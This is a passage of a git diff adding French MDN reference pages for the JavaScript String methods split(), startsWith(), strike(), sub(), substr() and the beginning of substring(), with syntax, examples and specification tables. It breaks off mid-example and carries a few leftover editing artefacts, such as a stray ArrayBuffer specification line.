+
+<p>Lorsqu'il est trouvé, le <code>séparateur</code> est supprimé de la chaîne et les sous-chaînes sont retournées dans un tableau. Si le <code>séparateur</code> est omis, le tableau contiendra un élément correspondant à la chaîne courante. Si le <code>séparateur</code> est une chaîne vide, la chaîne courante est convertie en un tableau composé des caractères de la chaîne. Si le séparateur est uniquement présent au début et/ou à la fin de la chaîne, le tableau contiendra une chaîne vide comme premier et/ou dernier élément (si on utilise cette méthode sur une chaîne qui ne contient que le séparateur, le tableau obtenu aura deux éléments qui seront chacun une chaîne vide).</p>
+
+<p>Si le <code>séparateur</code> est une expression rationnelle qui contient des parenthèses groupantes, les résultats (incluant tout résultat indéfini) des groupes iront alors dans le tableau retourné à chaque fois qu'une correspondance du <code>séparateur</code> sera trouvée. Cependant, tous les navigateurs ne supportent pas cette possibilité.</p>
+
+<p>La méthode <code>split()</code> ne modifie pas le tableau courant, elle renvoie un nouveau tableau.</p>
+
+<p>Lorsque le séparateur fourni est un tableau, le tableau est automatiquement converti en une chaîne de caractères et c'est cette chaîne qui est utilisée comme séparateur.</p>
+
+<p>{{Note("Quand la chaîne est vide, <code>split()</code> retourne un tableau contenant une chaîne vide, plutôt qu'un tableau vide. Si la chaîne et le séparateur sont tous les deux des chaînes vides, un tableau vide sera renvoyé.")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_split">Utiliser <code>split()</code></h3>
+
+<p>L'exemple suivant définit une fonction qui divise une chaîne en un tableau de chaînes selon un délimiteur spécifié. Après la coupe de la chaîne, la fonction affiche des messages indiquant la chaîne initiale (avant la coupe), le délimiteur utilisé, le nombre d'éléments dans le tableau, et les éléments du tableau retourné.</p>
+
+<pre class="brush: js notranslate">function splitString(stringToSplit, separator) {
+  var arrayOfStrings = stringToSplit.split(separator);
+
+  console.log('La chaine d\'origine est : "' + stringToSplit + '"');
+  console.log('Le délimiteur est : "' + separator + '"');
+  console.log("Le tableau comporte " + arrayOfStrings.length + " elements : ");
+
+  for (var i=0; i &lt; arrayOfStrings.length; i++)
+    print(arrayOfStrings[i] + " / ");
+}
+
+var tempestString = "Oh brave new world that has such people in it.";
+var monthString = "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec";
+
+var espace = " ";
+var virgule = ",";
+
+splitString(tempestString, espace);
+splitString(tempestString);
+splitString(monthString, virgule);
+</pre>
+
+<p>Cet exemple produira la sortie suivante :</p>
+
+<pre class="brush: js notranslate">La chaine d'origine est : "Oh brave new world that has such people in it."
+Le délimiteur est : " "
+Le tableau comporte 10 elements : Oh / brave / new / world / that / has / such / people / in / it. /
+
+La chaine d'origine est : "Oh brave new world that has such people in it."
+Le délimiteur est : "undefined"
+Le tableau comporte 1 elements : Oh brave new world that has such people in it. /
+
+La chaine d'origine est : "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec"
+Le délimiteur est : ","
+Le tableau comporte 12 elements : Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / Dec /
+</pre>
+
+<h3 id="Supprimer_les_espaces_dune_chaîne">Supprimer les espaces d'une chaîne</h3>
+
+<p>Dans l'exemple suivant, <code>split</code> recherche zéro ou plusieurs espaces suivis d'un point-virgule, lui-même suivi par zéro ou plus espaces. Lorsque ce « motif » est trouvé, cela supprime celui-ci de la chaîne. <code>nameList</code> est le tableau retourné du résultat de <code>split</code>.</p>
+
+<pre class="brush: js notranslate">var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ";
+
+console.log(names);
+
+var re = /\s*(;|$)\s*/;
+var nameList = names.split(re);
+
+console.log(nameList);
+</pre>
+
+<p>Ceci affichera deux lignes dans la console ; la première ligne correspondant à la chaîne d'origine, et la seconde au tableau de résultats.</p>
+
+<pre class="brush: js notranslate">Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand
+["Harry Trump","Fred Barney","Helen Rigby","Bill Abel","Chris Hand"]
+</pre>
+
+<h3 id="Retourner_un_nombre_limité_de_sous-chaînes">Retourner un nombre limité de sous-chaînes</h3>
+
+<p>Dans l'exemple suivant, <code>split()</code> recherche des espaces dans une chaîne et retourne les 3 premières sous-chaînes qui correspondent.</p>
+
+<pre class="brush: js notranslate">var myString = "Hello World. How are you doing?";
+var splits = myString.split(" ", 3);
+
+console.log(splits);
+</pre>
+
+<p>Ce script affichera :</p>
+
+<pre class="brush: js notranslate">["Hello", "World.", "How"]
+</pre>
+
+<h3 id="Découper_une_expression_rationnelle_-_Parenthèses_capturantes">Découper une expression rationnelle - Parenthèses capturantes</h3>
+
+<p>Si le paramètre <code>séparateur</code> est une expression rationnelle qui contient des parenthèses de capture, les résultats seront retournés dans le tableau.</p>
+
+<pre class="brush: js notranslate">var myString = "Hello 1 word. Sentence number 2.";
+var splits = myString.split(/(\d)/); /* Ce motif correspond à un chiffre et est équivalent à [0-9] */
+
+console.log(splits);
+</pre>
+
+<p>Ce script affichera :</p>
+
+<pre class="brush: js notranslate">Hello ,1, word. Sentence number ,2,.
+</pre>
+
+<h3 id="Découper_une_chaîne_avec_un_tableau_comme_séparateur">Découper une chaîne avec un tableau comme séparateur</h3>
+
+<pre class="brush: js notranslate">var maChaine = "Ceci|est|un|test";
+var morceaux = maChaine.split(['|']);
+
+console.log(morceaux); // ["Ceci", "est", "un", "test"]
+
+var maChaine2 = "ca,bc,a,bca,bca,bc";
+var morceaux2 = maChaine2.split(["a", "b"]);
+
+console.log(morceaux2); // ["c", "c,", "c", "c", "c"]
+</pre>
+
+<h3 id="Inverser_une_chaîne_en_utilisant_split">Inverser une chaîne en utilisant <code>split()</code></h3>
+
+<pre class="brush: js notranslate">var str = 'asdfghjkl';
+var strReverse = str.split('').reverse().join(''); // 'lkjhgfdsa'
+// split renvoie un tableau sur lequel on peut appliquer reverse
+// enfin on utilise join pour assembler le tout.</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Si on souhaite tester si la chaîne courante est un palindrome, on pourra utiliser l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison","===","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}.</p>
+</div>
+
+<p>Attention, cela ne fonctionne pas si la chaîne de caractères contient des groupes de graphèmes, même lorsqu'on utilise une méthode de découpage sensible à Unicode.</p>
+
+<pre class="brush: js notranslate">var str = 'résumé';
+var strReverse = str.split(/(?:)/u).reverse().join('');
+// =&gt; "émusér"
+</pre>
+
+<p>On pourra utiliser une bibliothèque (cf. <a href="https://github.com/mathiasbynens/esrever">esrever</a>) si besoin.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.14', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.split', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.split', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.split")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
+
+<p>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}} {{Spec2('ES6')}} Définition initiale au sein d'un standard ECMA.</p>
+
+<h2 id="Compatibilité_des_navigateurs_2">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.String.split")}}</p>
+
+<h2 id="Voir_aussi_2">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/startswith/index.html b/files/fr/web/javascript/reference/objets_globaux/string/startswith/index.html
new file mode 100644
index 0000000000..060bd27d32
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/startswith/index.html
@@ -0,0 +1,87 @@
+---
+title: String.prototype.startsWith()
+slug: Web/JavaScript/Reference/Objets_globaux/String/startsWith
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>startsWith()</strong></code> renvoie un booléen indiquant si la chaine de caractères commence par la deuxième chaine de caractères fournie en argument.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-startswith.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.startsWith(<var>chaîneRecherchée</var> [, <var>position</var>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>chaîneRecherchée</code></dt>
+ <dd>Les caractères à rechercher au début de la chaine de caractères.</dd>
+ <dt><code>position</code> {{optional_inline}}</dt>
+ <dd>La position à laquelle commencer la recherche de <code><var>chaîneRecherchée</var></code> ; par défaut 0.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la chaîne de caractères commence avec la sous-chaîne en argument, <code>false</code> sinon</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode permet de savoir si une chaine de caractères commence avec une autre chaine de caractères (comme pour les autres méthodes fonctionnant avec les chaînes de caractères, cette méthode est sensible à la casse).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js;">var str = "Être, ou ne pas être : telle est la question.";
+
+console.log(str.startsWith("Être"));         // true
+console.log(str.startsWith("pas être"));     // false
+console.log(str.startsWith("pas être", 12)); // true</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.startsWith")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li><a href="https://github.com/mathiasbynens/String.prototype.startsWith">Prothèse (<em>polyfill</em>) de Mathias Bynens</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/strike/index.html b/files/fr/web/javascript/reference/objets_globaux/string/strike/index.html
new file mode 100644
index 0000000000..e53530aa1f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/strike/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.strike()
+slug: Web/JavaScript/Reference/Objets_globaux/String/strike
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/strike
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>strike()</strong></code> permet de créer un élément HTML {{HTMLElement("strike")}} qui permet d'afficher la chaîne comme un texte barré.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.strike()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("strike")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode encadre la chaîne de caractères dans une balise <code>&lt;strike&gt;</code> :<br>
+ <code>"&lt;strike&gt;str&lt;/strike&gt;</code>"</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les méthodes suivantes peuvent être utilisées pour modifier le formatage d'une chaîne de caractères :</p>
+
+<pre class="brush:js">var worldString = "Coucou monde";
+
+console.log(worldString.blink());
+console.log(worldString.bold());
+console.log(worldString.italics());
+console.log(worldString.strike());</pre>
+
+<p>Cela produira le code HTML suivant dans la console :</p>
+
+<pre class="brush:html">&lt;blink&gt;Coucou monde&lt;/blink&gt;
+&lt;b&gt;Coucou monde&lt;/b&gt;
+&lt;i&gt;Coucou monde&lt;/i&gt;
+&lt;strike&gt;Coucou monde&lt;/strike&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.strike', 'String.prototype.strike')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.strike', 'String.prototype.strike')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.strike")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/sub/index.html b/files/fr/web/javascript/reference/objets_globaux/string/sub/index.html
new file mode 100644
index 0000000000..5b68b64892
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/sub/index.html
@@ -0,0 +1,76 @@
+---
+title: String.prototype.sub()
+slug: Web/JavaScript/Reference/Objets_globaux/String/sub
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/sub
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>sub()</strong></code> crée un élément HTML {{HTMLElement("sub")}} qui entraîne l'affichage de la chaîne en indice.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.sub()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("sub")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>sub</code> encapsule une chaîne dans une balise <code>&lt;sub&gt;</code> :<br>
+ <code>"&lt;sub&gt;str&lt;/sub&gt;</code>".</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant utilise les méthodes <code>sub()</code> et {{jsxref("String.prototype.sup()", "sup()")}} pour mettre en forme une chaîne :</p>
+
+<pre class="brush: js">var superText = "exposant";
+var subText = "indice";
+
+console.log("Ceci illustre l'affichage d'un texte en " + superText.sup() + ".");
+// "Ceci illustre l'affichage d'un texte en &lt;sup&gt;expostant&lt;/sup&gt;
+
+console.log("Ceci illustre l'affichage d'un texte en " + subText.sub() + ".");
+// "Ceci illustre l'affichage d'un texte en &lt;sub&gt;indice&lt;/sub&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.sub', 'String.prototype.sub')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implementée avec JavaScript 1.0. Définie dans l'annexe B (normative) des fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.sub', 'String.prototype.sub')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) des fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.sub")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.sup()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/substr/index.html b/files/fr/web/javascript/reference/objets_globaux/string/substr/index.html
new file mode 100644
index 0000000000..b747e71c56
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/substr/index.html
@@ -0,0 +1,139 @@
+---
+title: String.prototype.substr()
+slug: Web/JavaScript/Reference/Objets_globaux/String/substr
+tags:
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substr
+---
+<div>{{JSRef}}</div>
+
+<div class="warning"><strong>Attention !</strong> Bien que <code>String.prototype.substr(…)</code> ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-additional-ecmascript-features-for-web-browsers">l'Annexe B</a> du standard ECMA-262 qui définit l'ensemble des fonctionnalités historiques qui doivent être évitées autant que possible. On utilisera la méthode {{jsxref("String.prototype.substring()")}} à la place.</div>
+
+<p>La méthode <strong><code>substr()</code></strong> retourne la partie d'une chaîne de caractères comprise entre l'indice de départ et un certain nombre de caractères après celui-ci.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-substr.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>chn</em>.substr(<var>début</var>[, <var>longueur</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>début</code></dt>
+ <dd>L'indice du premier caractère à inclure dans la sous-chaîne retournée.</dd>
+ <dt><code>longueur</code></dt>
+ <dd>Optionnel. Le nombre de caractères à extraire.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne contenant la partie indiquée de la chaîne donnée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>substr()</code> extrait <code>longueur</code> caractères d'une <code>string</code>, en comptant à partir de l'indice <code>début</code>.</p>
+
+<p>Si <code>début</code> est un nombre positif, l'indice commence à compter du début de la chaîne. Sa valeur est limitée à <code>chn.length</code>.</p>
+
+<p>Si <code>début</code> est un nombre négatif, l'indice commence à compter de la fin de la chaîne. Sa valeur est limitée à <code>-chn.length</code>.</p>
+
+<p>Note : dans JScript de Microsoft, les valeurs négatives de l'argument <code>début</code> ne sont pas considérées comme faisant référence à la fin de la chaîne.</p>
+
+<p>Si <code>longueur</code> est omise, <code>substr()</code> extrait les caractères jusqu'à la fin de la chaîne.</p>
+
+<p>Si <code>longueur</code> est {{jsxref("undefined")}}, <code>substr()</code> extrait les caractères jusqu'à la fin de la chaîne.</p>
+
+<p>Si <code>longueur</code> est négative, elle est traitée comme 0.</p>
+
+<p>Pour <code>début</code> comme pour <code>longueur</code>, NaN est traité comme 0.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var uneChaine = 'Mozilla';
+
+<code>console.log(</code>uneChaine<code>.substr(0, 1));   // 'M'
+console.log(</code>uneChaine<code>.substr(1, 0));   // ''
+console.log(</code>uneChaine<code>.substr(-1, 1));  // 'a'
+console.log(</code>uneChaine<code>.substr(1, -1));  // ''
+console.log(</code>uneChaine<code>.substr(-3));     // 'lla'
+console.log(</code>uneChaine<code>.substr(1));      // 'ozilla'
+console.log(</code>uneChaine<code>.substr(-20, 2)); // 'Mo'
+console.log(</code>uneChaine<code>.substr(20, 2));  // ''</code></pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>JScript de Microsoft ne supporte pas les valeurs négatives pour l'indice de début. Pour utiliser cette fonctionnalité, vous pouvez utiliser le code suivant :</p>
+
+<pre class="brush: js">// N'appliquer que lorsque la fonction est incomplète
+if ('ab'.substr(-1) != 'b') {
+  /**
+   *  Obtenir la sous-chaîne d'une chaîne
+   *  @param  {entier}  début     où démarrer la sous-chaîne
+   *  @param  {entier}  longueur  combien de caractères à retourner
+   *  @return {chaîne}
+   */
+  String.prototype.substr = function(substr) {
+    return function(début, longueur) {
+      <code>// Appel de la méthode originale
+      return </code>substr<code>.call(this,</code>
+        // Si on a un début négatif, calculer combien il vaut à partir du début de la chaîne
+        // Ajuster le paramètre pour une valeur négative
+<code>        début &lt; 0 ? this.length + début : début,
+        longueur)
+    </code>}
+  }(String.prototype.substr);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définie dans la Compatibility Annex B (informative). Implémentée dans JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.3', 'String.prototype.substr')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définie dans la Compatibility Annex B (informative).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.substr', 'String.prototype.substr')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définie dans l'Annex B (normative) pour les Additional ECMAScript Features for Web Browsers.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.substr', 'String.prototype.substr')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'Annex B (normative) pour les Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, voyez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</p>
+
+<p>{{Compat("javascript.builtins.String.substr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/substring/index.html b/files/fr/web/javascript/reference/objets_globaux/string/substring/index.html
new file mode 100644
index 0000000000..eedcb92d58
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/substring/index.html
@@ -0,0 +1,180 @@
+---
+title: String.prototype.substring()
+slug: Web/JavaScript/Reference/Objets_globaux/String/substring
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substring
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>substring()</strong></code> retourne une sous-chaîne de la chaîne courante, entre un indice de début et un indice de fin.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-substring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.substring(<var>indiceA</var>[, <var>indiceB</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>indiceA</code></dt>
+ <dd>Un entier compris entre 0 et la longueur de la chaîne.</dd>
+ <dt><code>indiceB</code></dt>
+ <dd>Paramètre optionnel : un entier compris entre 0 et la longueur de la chaine.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères qui correspond à la section souhaitée de la chaîne appelante.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>substring</code> extrait des caractères de la chaîne courante à partir de <code>indiceA</code> jusqu'à <code>indiceB</code> (non compris). On a notamment :</p>
+
+<ul>
+ <li>Si <code>indiceA</code> est égal à <code>indiceB</code>, <code>substring</code> retournera une chaîne vide.</li>
+ <li>Si <code>indiceB</code> est omis, <code>substring</code> effectuera l'extraction des caractères jusqu'à la fin de la chaîne.</li>
+ <li>Si l'un des deux arguments est négatif ou vaut {{jsxref("NaN")}}, il sera traité comme 0.</li>
+ <li>Si l'un des deux arguments est plus grand que <code>str.length</code>, il sera traité comme <code>str.length</code>.</li>
+</ul>
+
+<p>Si <code>indiceA</code> est supérieur à <code>indiceB</code>, la fonction <code>substring()</code> intervertira ces deux valeurs afin de les traiter comme si elles avaient été passées dans le bon ordre. Par exemple : <code><var>str</var>.substring(1, 0) == <var>str</var>.substring(0, 1)</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_substring()">Utiliser <code>substring()</code></h3>
+
+<p>Les exemples suivants utilisent la méthode <code>substring()</code> pour extraire et afficher des caractères à partir de la chaine "<code>Mozilla</code>" :</p>
+
+<pre class="brush:js">var uneChaîne = "Mozilla";
+
+// Affiche "Moz"
+console.log(uneChaîne.substring(0,3));
+console.log(uneChaîne.substring(3,0));
+
+// Affiche "lla"
+console.log(uneChaîne.substring(4,7));
+console.log(uneChaîne.substring(4));
+console.log(uneChaîne.substring(7,4));
+
+// Affiche "Mozill"
+console.log(uneChaîne.substring(0,6));
+
+// Affiche "Mozilla"
+console.log(uneChaîne.substring(0,7));
+console.log(uneChaîne.substring(0,10));
+</pre>
+
+<h3 id="Remplacer_une_sous-chaîne_dans_une_chaîne">Remplacer une sous-chaîne dans une chaîne</h3>
+
+<p>L'exemple suivant remplace une partie d'une chaine. Elle remplace à la fois les caractères individuels et les sous-chaines. La fonction appelée à la fin de cet exemple transforme la chaine "<code>Brave New World</code>" en "<code>Brave New Web</code>".</p>
+
+<pre class="brush:js">function replaceString(oldS, newS, fullS) {
+// On remplace oldS avec newS dans fullS
+  for (var i = 0; i &lt; fullS.length; i++) {
+    if (fullS.substring(i, i + oldS.length) == oldS) {
